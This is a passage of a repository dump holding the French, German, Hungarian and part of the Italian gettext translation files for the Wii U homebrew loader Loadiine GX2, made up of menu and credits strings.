\"\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Customize games path\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Customize save path\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Loader\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Set save mode\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Game\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"HID settings\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Launch method selection\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Log server control\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Padcon settings\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"PyGecko settings\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:55\nmsgid \"Credits\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:55\nmsgid \"Credits to all contributors\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:60\nmsgid \"Game View TV\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:61\nmsgid \"Game View DRC\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:66\nmsgid \"Show Game Settings\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:67\nmsgid \"Host IP\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:68\nmsgid \"Game Path\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:69\nmsgid \"Game Save Path\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:70\nmsgid \"Game Save Mode\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:76\nmsgid \"Log Server Control\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:77\nmsgid \"PyGecko\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:78\nmsgid \"Padcon\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:79\nmsgid \"HID-Pad\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:80\nmsgid \"HID-Pad Rumble\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:81\nmsgid \"HID-Pad Network\"\nmsgstr \"\"\n"
  },
  {
    "path": "languages/french.lang",
    "content": "# Loadiine GX2 language source file.\n# french.lang - v0.2\n# don't delete/change this line (é).\nmsgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: Loadiine GX2\\n\"\n\"Report-Msgid-Bugs-To: \\n\"\n\"POT-Creation-Date: 2016-08-28 11:40+0200\\n\"\n\"PO-Revision-Date: 2016-04-03 19:00+0200\\n\"\n\"Last-Translator: BHackUP, littlebalup, Cyan\\n\"\n\"Language-Team: BHackUP, littlebalup, Cyan\\n\"\n\"Language: Français\\n\"\n\"MIME-Version: 1.0\\n\"\n\"Content-Type: text/plain; charset=UTF-8\\n\"\n\"Content-Transfer-Encoding: 8bit\\n\"\n\n#: src/menu/CreditsMenu.cpp:69\nmsgid \"Loadiine GX2\"\nmsgstr \"\"\n\n#: src/menu/CreditsMenu.cpp:76\nmsgid \"Official Site:\"\nmsgstr \"Site officiel:\"\n\n#: src/menu/CreditsMenu.cpp:89\nmsgid \"Coding:\"\nmsgstr \"Développement:\"\n\n#: src/menu/CreditsMenu.cpp:102\nmsgid \"Design:\"\nmsgstr \"\"\n\n#: src/menu/CreditsMenu.cpp:108\nmsgid \"Some guy who doesn't want to be named.\"\nmsgstr \"Quelqu'un qui ne veut pas être nommé.\"\n\n#: src/menu/CreditsMenu.cpp:115\n#, fuzzy\nmsgid \"Testing:\"\nmsgstr \"Tests:\"\n\n#: src/menu/CreditsMenu.cpp:121\nmsgid \"Cyan / Maschell / n1ghty / OnionKnight and many more\"\nmsgstr \"Cyan / Maschell / n1ghty / OnionKnight et bien d'autres\"\n\n#: src/menu/CreditsMenu.cpp:128\nmsgid \"Social Presence:\"\nmsgstr \"Présence sociale:\"\n\n#: src/menu/CreditsMenu.cpp:141\nmsgid \"Based on:\"\nmsgstr \"Basé sur:\"\n\n#: src/menu/CreditsMenu.cpp:147\nmsgid \"Loadiine v4.0 by Golden45 and Dimok\"\nmsgstr \"Loadiine v4.0 de Golden45 et Dimok\"\n\n#: src/menu/CreditsMenu.cpp:154\nmsgid \"Big thanks to:\"\nmsgstr \"Remerciements à:\"\n\n#: src/menu/CreditsMenu.cpp:160\nmsgid \"lustar for GameTDB and hosting covers / disc images\"\nmsgstr \"lustar pour GameTDB et l'hébergement des jaquettes\"\n\n#: src/menu/CreditsMenu.cpp:167\nmsgid \"Marionumber1 for his kernel exploit\"\nmsgstr \"Marionumber1 pour son exploit kernel\"\n\n#: src/menu/CreditsMenu.cpp:174\nmsgid \"The whole libwiiu team and it's contributors.\"\nmsgstr \"Toute l'équipe libwiiu et ses contributeurs.\"\n\n#: src/menu/GameLauncherMenu.cpp:52\nmsgid \"Extra Save:\"\nmsgstr \"\"\n\n#: src/menu/GameLauncherMenu.cpp:53\nmsgid \"Enable DLC Support:\"\nmsgstr \"\"\n\n#: src/menu/GameLauncherMenu.cpp:76\nmsgid \"Update Folder\"\nmsgstr \"\"\n\n#: src/menu/GameLauncherMenu.cpp:77\n#, fuzzy\nmsgid \"Save Mode\"\nmsgstr \"Mode partagé\"\n\n#: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75\nmsgid \"Launch Mode\"\nmsgstr \"Mode de lancement\"\n\n#: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94\n#, fuzzy\nmsgid \"<Settings Default>\"\nmsgstr \"Tests:\"\n\n#: src/menu/GameLauncherMenu.cpp:492\n#, fuzzy\nmsgid \"Saving game settings!\"\nmsgstr \"Tests:\"\n\n#: src/menu/SettingsMenu.cpp:32\nmsgid \"Off\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:33\nmsgid \"On\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:38\nmsgid \"Icon Carousel\"\nmsgstr \"Carrousel d'icônes\"\n\n#: src/menu/SettingsMenu.cpp:39\nmsgid \"Grid View\"\nmsgstr \"Grille\"\n\n#: src/menu/SettingsMenu.cpp:40\nmsgid \"Cover Carousel\"\nmsgstr \"Carrousel de jaquettes\"\n\n#: src/menu/SettingsMenu.cpp:52\nmsgid \"Background customizations\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:52\nmsgid \"GUI\"\nmsgstr \"Interface\"\n\n#: src/menu/SettingsMenu.cpp:52\nmsgid \"Game View Selection\"\nmsgstr \"Mode d'affichage des jeux\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Adjust log server IP and port\"\nmsgstr \"Modifier IP / port serveur log\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Customize games path\"\nmsgstr \"Emplacement des jeux\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Customize save path\"\nmsgstr \"Emplacement des sauvegardes\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Loader\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Set save mode\"\nmsgstr \"Définir le mode de sauvegarde\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Game\"\nmsgstr \"Jeu\"\n\n#: src/menu/SettingsMenu.cpp:54\n#, fuzzy\nmsgid \"HID settings\"\nmsgstr \"Tests:\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Launch method selection\"\nmsgstr \"Méthode de lancement des jeux\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Log server control\"\nmsgstr \"Serveur de log\"\n\n#: src/menu/SettingsMenu.cpp:54\n#, fuzzy\nmsgid \"Padcon settings\"\nmsgstr \"Tests:\"\n\n#: src/menu/SettingsMenu.cpp:54\n#, fuzzy\nmsgid \"PyGecko settings\"\nmsgstr \"Tests:\"\n\n#: src/menu/SettingsMenu.cpp:55\nmsgid \"Credits\"\nmsgstr \"Crédits\"\n\n#: src/menu/SettingsMenu.cpp:55\nmsgid \"Credits to all contributors\"\nmsgstr \"Merci à tous les contributeurs\"\n\n#: src/menu/SettingsMenu.cpp:60\nmsgid \"Game View TV\"\nmsgstr \"Affichage des jeux sur TV\"\n\n#: src/menu/SettingsMenu.cpp:61\nmsgid \"Game View DRC\"\nmsgstr \"Affichage des jeux sur GamePad\"\n\n#: src/menu/SettingsMenu.cpp:66\n#, fuzzy\nmsgid \"Show Game Settings\"\nmsgstr \"Tests:\"\n\n#: src/menu/SettingsMenu.cpp:67\nmsgid \"Host IP\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:68\nmsgid \"Game Path\"\nmsgstr \"Emplacement des jeux\"\n\n#: src/menu/SettingsMenu.cpp:69\nmsgid \"Game Save Path\"\nmsgstr \"Emplacement des sauvegardes\"\n\n#: src/menu/SettingsMenu.cpp:70\nmsgid \"Game Save Mode\"\nmsgstr \"Mode de sauvegarde\"\n\n#: src/menu/SettingsMenu.cpp:76\nmsgid \"Log Server Control\"\nmsgstr \"Activer les logs\"\n\n#: src/menu/SettingsMenu.cpp:77\n#, fuzzy\nmsgid \"PyGecko\"\nmsgstr \"Tests:\"\n\n#: src/menu/SettingsMenu.cpp:78\nmsgid \"Padcon\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:79\nmsgid \"HID-Pad\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:80\nmsgid \"HID-Pad Rumble\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:81\nmsgid \"HID-Pad Network\"\nmsgstr \"\"\n\n#~ msgid \"Art Atelier Mode\"\n#~ msgstr \"Mode Art Atelier\"\n\n#~ msgid \"Shared Mode\"\n#~ msgstr \"Mode partagé\"\n\n#~ msgid \"Unique Mode\"\n#~ msgstr \"Mode unique\"\n\n#~ msgid \"Mii Maker Mode\"\n#~ msgstr \"Mode Mii Maker\"\n\n#~ msgid \"Smash Bros Mode\"\n#~ msgstr \"Mode Smash Bros\"\n\n#~ msgid \"Karaoke Mode\"\n#~ msgstr \"Mode Karaoke\"\n\n#~ msgid \"Log Server IP\"\n#~ msgstr \"Adresse IP du serveur log\"\n"
  },
  {
    "path": "languages/german.lang",
    "content": "# Loadiine GX2 language source file.\n# german.lang - v0.3\n# don't delete/change this line (é).\nmsgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: Loadiine GX2\\n\"\n\"Report-Msgid-Bugs-To: \\n\"\n\"POT-Creation-Date: 2016-08-28 11:40+0200\\n\"\n\"PO-Revision-Date: 2009-10-01 01:00+0200\\n\"\n\"Last-Translator: \\n\"\n\"Language-Team: \\n\"\n\"Language: German\\n\"\n\"MIME-Version: 1.0\\n\"\n\"Content-Type: text/plain; charset=UTF-8\\n\"\n\"Content-Transfer-Encoding: 8bit\\n\"\n\n#: src/menu/CreditsMenu.cpp:69\nmsgid \"Loadiine GX2\"\nmsgstr \"Loadiine GX2\"\n\n#: src/menu/CreditsMenu.cpp:76\nmsgid \"Official Site:\"\nmsgstr \"Offizielle Seite:\"\n\n#: src/menu/CreditsMenu.cpp:89\nmsgid \"Coding:\"\nmsgstr \"Programmierer:\"\n\n#: src/menu/CreditsMenu.cpp:102\nmsgid \"Design:\"\nmsgstr \"\"\n\n#: src/menu/CreditsMenu.cpp:108\nmsgid \"Some guy who doesn't want to be named.\"\nmsgstr \"Jemand der nicht genannt werden will.\"\n\n#: src/menu/CreditsMenu.cpp:115\n#, fuzzy\nmsgid \"Testing:\"\nmsgstr \"Tester:\"\n\n#: src/menu/CreditsMenu.cpp:121\nmsgid \"Cyan / Maschell / n1ghty / OnionKnight and many more\"\nmsgstr \"Cyan / Maschell / n1ghty / OnionKnight und viele weitere\"\n\n#: src/menu/CreditsMenu.cpp:128\nmsgid \"Social Presence:\"\nmsgstr \"Öffentliches Auftreten:\"\n\n#: src/menu/CreditsMenu.cpp:141\nmsgid \"Based on:\"\nmsgstr \"Basierend auf:\"\n\n#: src/menu/CreditsMenu.cpp:147\nmsgid \"Loadiine v4.0 by Golden45 and Dimok\"\nmsgstr \"Loadiine v4.0 von Golden45 und Dimok\"\n\n#: src/menu/CreditsMenu.cpp:154\nmsgid \"Big thanks to:\"\nmsgstr \"Besonderen Dank an:\"\n\n#: src/menu/CreditsMenu.cpp:160\nmsgid \"lustar for GameTDB and hosting covers / disc images\"\nmsgstr \"lustar für GameTDB und die Bereitstellung der Cover-Server\"\n\n#: src/menu/CreditsMenu.cpp:167\nmsgid \"Marionumber1 for his kernel exploit\"\nmsgstr \"Marionumber1 für seinen Kernel-Exploit\"\n\n#: src/menu/CreditsMenu.cpp:174\nmsgid \"The whole libwiiu team and it's contributors.\"\nmsgstr \"Dem ganzen libwiiu Team und allen Mitwirkenden.\"\n\n#: src/menu/GameLauncherMenu.cpp:52\nmsgid \"Extra Save:\"\nmsgstr \"\"\n\n#: src/menu/GameLauncherMenu.cpp:53\nmsgid \"Enable DLC Support:\"\nmsgstr \"\"\n\n#: src/menu/GameLauncherMenu.cpp:76\nmsgid \"Update Folder\"\nmsgstr \"\"\n\n#: src/menu/GameLauncherMenu.cpp:77\n#, fuzzy\nmsgid \"Save Mode\"\nmsgstr \"Gemeisame Spielstände\"\n\n#: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75\nmsgid \"Launch Mode\"\nmsgstr \"Spielstart-Methode\"\n\n#: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94\n#, fuzzy\nmsgid \"<Settings Default>\"\nmsgstr \"Tester:\"\n\n#: src/menu/GameLauncherMenu.cpp:492\n#, fuzzy\nmsgid \"Saving game settings!\"\nmsgstr \"Tester:\"\n\n#: src/menu/SettingsMenu.cpp:32\nmsgid \"Off\"\nmsgstr \"Aus\"\n\n#: src/menu/SettingsMenu.cpp:33\nmsgid \"On\"\nmsgstr \"An\"\n\n#: src/menu/SettingsMenu.cpp:38\nmsgid \"Icon Carousel\"\nmsgstr \"Iconkarussell\"\n\n#: src/menu/SettingsMenu.cpp:39\nmsgid \"Grid View\"\nmsgstr \"Gitteransicht\"\n\n#: src/menu/SettingsMenu.cpp:40\nmsgid \"Cover Carousel\"\nmsgstr \"Coverkarussell\"\n\n#: src/menu/SettingsMenu.cpp:52\nmsgid \"Background customizations\"\nmsgstr \"Hintergrundanpassungen\"\n\n#: src/menu/SettingsMenu.cpp:52\nmsgid \"GUI\"\nmsgstr \"GUI\"\n\n#: src/menu/SettingsMenu.cpp:52\nmsgid \"Game View Selection\"\nmsgstr \"Spielansicht Auswahl\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Adjust log server IP and port\"\nmsgstr \"Logger-Einstellungen\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Customize games path\"\nmsgstr \"Spieleordner ändern\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Customize save path\"\nmsgstr \"Spielstandordner ändern\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Loader\"\nmsgstr \"Loader\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Set save mode\"\nmsgstr \"Spielstand-Optionen\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Game\"\nmsgstr \"Spiel\"\n\n#: src/menu/SettingsMenu.cpp:54\n#, fuzzy\nmsgid \"HID settings\"\nmsgstr \"Tester:\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Launch method selection\"\nmsgstr \"Spielstart-Methode auswählen\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Log server control\"\nmsgstr \"Log-Server Kontrolle\"\n\n#: src/menu/SettingsMenu.cpp:54\n#, fuzzy\nmsgid \"Padcon settings\"\nmsgstr \"Tester:\"\n\n#: src/menu/SettingsMenu.cpp:54\n#, fuzzy\nmsgid \"PyGecko settings\"\nmsgstr \"Tester:\"\n\n#: src/menu/SettingsMenu.cpp:55\nmsgid \"Credits\"\nmsgstr \"Credits\"\n\n#: src/menu/SettingsMenu.cpp:55\nmsgid \"Credits to all contributors\"\nmsgstr \"Mitwirkende\"\n\n#: src/menu/SettingsMenu.cpp:60\nmsgid \"Game View TV\"\nmsgstr \"Ansicht am Fernseher\"\n\n#: src/menu/SettingsMenu.cpp:61\nmsgid \"Game View DRC\"\nmsgstr \"Ansicht am Gamepad\"\n\n#: src/menu/SettingsMenu.cpp:66\n#, fuzzy\nmsgid \"Show Game Settings\"\nmsgstr \"Tester:\"\n\n#: src/menu/SettingsMenu.cpp:67\nmsgid \"Host IP\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:68\nmsgid \"Game Path\"\nmsgstr \"Spielordner ändern\"\n\n#: src/menu/SettingsMenu.cpp:69\nmsgid \"Game Save Path\"\nmsgstr \"Speicherstandordner ändern\"\n\n#: src/menu/SettingsMenu.cpp:70\nmsgid \"Game Save Mode\"\nmsgstr \"Speichermodus\"\n\n#: src/menu/SettingsMenu.cpp:76\nmsgid \"Log Server Control\"\nmsgstr \"Log-Server Kontrolle\"\n\n#: src/menu/SettingsMenu.cpp:77\n#, fuzzy\nmsgid \"PyGecko\"\nmsgstr \"Tester:\"\n\n#: src/menu/SettingsMenu.cpp:78\nmsgid \"Padcon\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:79\nmsgid \"HID-Pad\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:80\nmsgid \"HID-Pad Rumble\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:81\nmsgid \"HID-Pad Network\"\nmsgstr \"\"\n\n#~ msgid \"Art Atelier Mode\"\n#~ msgstr \"Art Atelier Modus\"\n\n#~ msgid \"Shared Mode\"\n#~ msgstr \"Gemeisame Spielstände\"\n\n#~ msgid \"Unique Mode\"\n#~ msgstr \"Getrennte Spielstände\"\n\n#~ msgid \"Mii Maker Mode\"\n#~ msgstr \"Mii Maker Modus\"\n\n#~ msgid \"Smash Bros Mode\"\n#~ msgstr \"Smash Bros Modus\"\n\n#~ msgid \"Karaoke Mode\"\n#~ msgstr \"Karaoke Modus\"\n\n#~ msgid \"Log Server IP\"\n#~ msgstr \"Log-Server IP\"\n"
  },
  {
    "path": "languages/hungarian.lang",
    "content": "# Loadiine GX2 language source file.\n# hungarian.lang - v0.1\n# don't delete/change this line (é).\nmsgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: Loadiine GX2\\n\"\n\"Report-Msgid-Bugs-To: \\n\"\n\"POT-Creation-Date: 2016-08-28 11:40+0200\\n\"\n\"PO-Revision-Date: 2016-04-05 5:52+0200\\n\"\n\"Last-Translator: Cava\\n\"\n\"Language-Team: Cava\\n\"\n\"Language: magyar\\n\"\n\"MIME-Version: 1.0\\n\"\n\"Content-Type: text/plain; charset=UTF-8\\n\"\n\"Content-Transfer-Encoding: 8bit\\n\"\n\n#: src/menu/CreditsMenu.cpp:69\nmsgid \"Loadiine GX2\"\nmsgstr \"\"\n\n#: src/menu/CreditsMenu.cpp:76\nmsgid \"Official Site:\"\nmsgstr \"Hivatalos Oldal:\"\n\n#: src/menu/CreditsMenu.cpp:89\nmsgid \"Coding:\"\nmsgstr \"Kódolás:\"\n\n#: src/menu/CreditsMenu.cpp:102\nmsgid \"Design:\"\nmsgstr \"Kinézet:\"\n\n#: src/menu/CreditsMenu.cpp:108\nmsgid \"Some guy who doesn't want to be named.\"\nmsgstr \"Néhány srác, aki nem akarja, hogy meg legyen nevezve.\"\n\n#: src/menu/CreditsMenu.cpp:115\n#, fuzzy\nmsgid \"Testing:\"\nmsgstr \"Tesztelés:\"\n\n#: src/menu/CreditsMenu.cpp:121\nmsgid \"Cyan / Maschell / n1ghty / OnionKnight and many more\"\nmsgstr \"Cyan / Maschell / n1ghty / OnionKnight és még sokan mások\"\n\n#: src/menu/CreditsMenu.cpp:128\nmsgid \"Social Presence:\"\nmsgstr \"Társadalmi Jelenlét:\"\n\n#: src/menu/CreditsMenu.cpp:141\nmsgid \"Based on:\"\nmsgstr \"Ennek alapján készült:\"\n\n#: src/menu/CreditsMenu.cpp:147\nmsgid \"Loadiine v4.0 by Golden45 and Dimok\"\nmsgstr \"Loadiine v4.0 Golden45-től és Dimok-tól\"\n\n#: src/menu/CreditsMenu.cpp:154\nmsgid \"Big thanks to:\"\nmsgstr \"Hatalmas köszönet:\"\n\n#: src/menu/CreditsMenu.cpp:160\nmsgid \"lustar for GameTDB and hosting covers / disc images\"\nmsgstr \"lustar-nak a GameTDB miatt és a borítókért / lemezek képeiért\"\n\n#: src/menu/CreditsMenu.cpp:167\nmsgid \"Marionumber1 for his kernel exploit\"\nmsgstr \"Marionumber1-nek a kernel exploitért\"\n\n#: src/menu/CreditsMenu.cpp:174\nmsgid \"The whole libwiiu team and it's contributors.\"\nmsgstr \"Az egész libwiiu csapatnak és a közreműködőknek.\"\n\n#: src/menu/GameLauncherMenu.cpp:52\nmsgid \"Extra Save:\"\nmsgstr \"\"\n\n#: src/menu/GameLauncherMenu.cpp:53\nmsgid \"Enable DLC Support:\"\nmsgstr \"\"\n\n#: src/menu/GameLauncherMenu.cpp:76\nmsgid \"Update Folder\"\nmsgstr \"\"\n\n#: src/menu/GameLauncherMenu.cpp:77\n#, fuzzy\nmsgid \"Save Mode\"\nmsgstr \"Megosztott mód\"\n\n#: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75\nmsgid \"Launch Mode\"\nmsgstr \"Indító Mód\"\n\n#: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94\n#, fuzzy\nmsgid \"<Settings Default>\"\nmsgstr \"Tesztelés:\"\n\n#: src/menu/GameLauncherMenu.cpp:492\n#, fuzzy\nmsgid \"Saving game settings!\"\nmsgstr \"Tesztelés:\"\n\n#: src/menu/SettingsMenu.cpp:32\nmsgid \"Off\"\nmsgstr \"Ki\"\n\n#: src/menu/SettingsMenu.cpp:33\nmsgid \"On\"\nmsgstr \"Be\"\n\n#: src/menu/SettingsMenu.cpp:38\nmsgid \"Icon Carousel\"\nmsgstr \"Kör-körös ikonok\"\n\n#: src/menu/SettingsMenu.cpp:39\nmsgid \"Grid View\"\nmsgstr \"Rácsnézet\"\n\n#: src/menu/SettingsMenu.cpp:40\nmsgid \"Cover Carousel\"\nmsgstr \"Kör-körös borító\"\n\n#: src/menu/SettingsMenu.cpp:52\nmsgid \"Background customizations\"\nmsgstr \"Háttér testreszabása\"\n\n#: src/menu/SettingsMenu.cpp:52\nmsgid \"GUI\"\nmsgstr \"Grafikus felület\"\n\n#: src/menu/SettingsMenu.cpp:52\nmsgid \"Game View Selection\"\nmsgstr \"Játéknézet választó\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Adjust log server IP and port\"\nmsgstr \"Log szerver és IP port beállítása\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Customize games path\"\nmsgstr \"Játék útvonalának testreszabása\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Customize save path\"\nmsgstr \"Játék mentés útvonalának testreszabása\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Loader\"\nmsgstr \"Betöltő\"\n\n#: src/menu/SettingsMenu.cpp:53\nmsgid \"Set save mode\"\nmsgstr \"Mentés mód beállítása\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Game\"\nmsgstr \"Játék\"\n\n#: src/menu/SettingsMenu.cpp:54\n#, fuzzy\nmsgid \"HID settings\"\nmsgstr \"Tesztelés:\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Launch method selection\"\nmsgstr \"Indítási mód kiválaszatása\"\n\n#: src/menu/SettingsMenu.cpp:54\nmsgid \"Log server control\"\nmsgstr \"Log szerver vezérlése\"\n\n#: src/menu/SettingsMenu.cpp:54\n#, fuzzy\nmsgid \"Padcon settings\"\nmsgstr \"Tesztelés:\"\n\n#: src/menu/SettingsMenu.cpp:54\n#, fuzzy\nmsgid \"PyGecko settings\"\nmsgstr \"Tesztelés:\"\n\n#: src/menu/SettingsMenu.cpp:55\nmsgid \"Credits\"\nmsgstr \"Köszönet\"\n\n#: src/menu/SettingsMenu.cpp:55\nmsgid \"Credits to all contributors\"\nmsgstr \"Köszönet az összes hozzájárulónak\"\n\n#: src/menu/SettingsMenu.cpp:60\nmsgid \"Game View TV\"\nmsgstr \"Játék nézet TV-n\"\n\n#: src/menu/SettingsMenu.cpp:61\nmsgid \"Game View DRC\"\nmsgstr \"Játék nézet a GamePaden\"\n\n#: src/menu/SettingsMenu.cpp:66\n#, fuzzy\nmsgid \"Show Game Settings\"\nmsgstr \"Tesztelés:\"\n\n#: src/menu/SettingsMenu.cpp:67\nmsgid \"Host IP\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:68\nmsgid \"Game Path\"\nmsgstr \"Játék elérési helye\"\n\n#: src/menu/SettingsMenu.cpp:69\nmsgid \"Game Save Path\"\nmsgstr \"Játék mentési helye\"\n\n#: src/menu/SettingsMenu.cpp:70\nmsgid \"Game Save Mode\"\nmsgstr \"Játék mentési módja\"\n\n#: src/menu/SettingsMenu.cpp:76\nmsgid \"Log Server Control\"\nmsgstr \"Log szerver vezérlése\"\n\n#: src/menu/SettingsMenu.cpp:77\n#, fuzzy\nmsgid \"PyGecko\"\nmsgstr \"Tesztelés:\"\n\n#: src/menu/SettingsMenu.cpp:78\nmsgid \"Padcon\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:79\nmsgid \"HID-Pad\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:80\nmsgid \"HID-Pad Rumble\"\nmsgstr \"\"\n\n#: src/menu/SettingsMenu.cpp:81\nmsgid \"HID-Pad Network\"\nmsgstr \"\"\n\n#~ msgid \"Art Atelier Mode\"\n#~ msgstr \"Art Atelier Mód\"\n\n#~ msgid \"Shared Mode\"\n#~ msgstr \"Megosztott mód\"\n\n#~ msgid \"Unique Mode\"\n#~ msgstr \"Egyedi Mód\"\n\n#~ msgid \"Mii Maker Mode\"\n#~ msgstr \"Mii készítő mód\"\n\n#~ msgid \"Smash Bros Mode\"\n#~ msgstr \"Smash Bros Mód\"\n\n#~ msgid \"Karaoke Mode\"\n#~ msgstr \"Karaoke Mód\"\n\n#~ msgid \"Log Server IP\"\n#~ msgstr \"Log szerver IP\"\n"
  },
  {
    "path": "languages/italian.lang",
    "content": "# Loadiine GX2 language source file.\n# italian.lang - vx.x\n# don't delete/change this line (é).\nmsgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: Loadiine GX2\\n\"\n\"Report-Msgid-Bugs-To: \\n\"\n\"POT-Creation-Date: 2016-08-28 11:40+0200\\n\"\n\"PO-Revision-Date: 2009-10-01 01:00+0200\\n\"\n\"Last-Translator: Student\\n\"\n\"Language-Team: Student\\n\"\n\"Language: Italiano\\n\"\n\"MIME-Version: 1.0\\n\"\n\"Content-Type: text/plain; charset=UTF-8\\n\"\n\"Content-Transfer-Encoding: 8bit\\n\"\n\n#: src/menu/CreditsMenu.cpp:69\nmsgid \"Loadiine GX2\"\nmsgstr \"\"\n\n#: src/menu/CreditsMenu.cpp:76\nmsgid \"Official Site:\"\nmsgstr \"Sito Ufficiale\"\n\n#: src/menu/CreditsMenu.cpp:89\nmsgid \"Coding:\"\nmsgstr \"Programmazione\"\n\n#: src/menu/CreditsMenu.cpp:102\nmsgid \"Design:\"\nmsgstr \"\"\n\n#: src/menu/CreditsMenu.cpp:108\nmsgid \"Some guy who doesn't want to be named.\"\nmsgstr \"Qualcuno che non vuole essere nominato\"\n\n#: src/menu/CreditsMenu.cpp:115\nmsgid \"Testing:\"\nmsgstr \"\"\n\n#: src/menu/CreditsMenu.cpp:121\nmsgid \"Cyan / Maschell / n1ghty / OnionKnight and many more\"\nmsgstr \"\"\n\n#: src/menu/CreditsMenu.cpp:128\nmsgid \"Social Presence:\"\nmsgstr \"Presenza Sociale\"\n\n#: src/menu/CreditsMenu.cpp:141\nmsgid \"Based on:\"\nmsgstr \"Basato su\"\n\n#: src/menu/CreditsMenu.cpp:147\nmsgid \"Loadiine v4.0 by Golden45 and Dimok\"\nmsgstr \"Loadiine v4.0 creato da Golden45 e Dimok\"\n\n#: src/menu/CreditsMenu.cpp:154\nmsgid \"Big thanks to:\"\nmsgstr \"Un enorme grazie a\"\n\n#: src/menu/CreditsMenu.cpp:160\nmsgid \"lustar for GameTDB and hosting covers / disc images\"\nmsgstr \"lustar per GameTDB e per l'hosting sia delle copertine che delle scansioni dei dischi\"\n\n#: src/menu/CreditsMenu.cpp:167\nmsgid \"Marionumber1 for his kernel exploit\"\nmsgstr \"Marionumber1 per il suo kernel exploit\"\n\n#: src/menu/CreditsMenu.cpp:174\nmsgid \"The whole libwiiu team and it's contributors.\"\nmsgstr \"Tutto il team libwiiu ed i suoi contributors.\"\n\n#: src/menu/GameLauncherMenu.cpp:52\nmsgid \"Extra Save:\"\nmsgstr \"\"\n\n#: src/menu/GameLauncherMenu.cpp:53\nmsgid \"Enable DLC Support:\"\nmsgstr \"\"\n\n#: src/menu/GameLauncherMenu.cpp:76\nmsgid \"Update Folder\"\nmsgstr \"\"\n\n#: src/menu/GameLauncherMenu.cpp:77\n#, fuzzy\nmsgid \"Save Mode\"\nmsgstr \"Modalità Condivisa\"\n\n#: src/menu/GameLauncherMenu.cpp:78 